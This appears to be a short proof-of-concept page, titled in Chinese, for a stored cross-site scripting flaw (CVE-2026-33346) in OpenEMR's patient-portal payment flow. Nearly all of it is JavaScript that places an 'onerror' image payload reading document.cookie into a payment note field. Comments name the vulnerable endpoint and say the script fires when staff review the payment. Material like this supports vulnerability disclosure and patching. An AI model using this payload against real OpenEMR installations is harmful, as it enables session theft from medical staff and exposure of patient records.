CVE-2026-33346 OpenEMR 存储型XSS漏洞

// PoC for CVE-2026-33346 OpenEMR Stored XSS // Payload to be injected into the payment flow (e.g., payment note field) // The vulnerable endpoint is portal/lib/paylib.php const xssPayload = '<img src=x onerror=alert(document.cookie)>'; // Simulate the vulnerable request // In a real attack, this would be a legitimate payment request with the payload injected let data = { "payment_method": "credit_card", "payment_note": xssPayload // Injecting malicious script here }; console.log("[+] Sending malicious payment request with payload:", xssPayload); // When a staff member visits portal/portal_payment.php to review the payment, // the XSS payload triggers and executes the alert.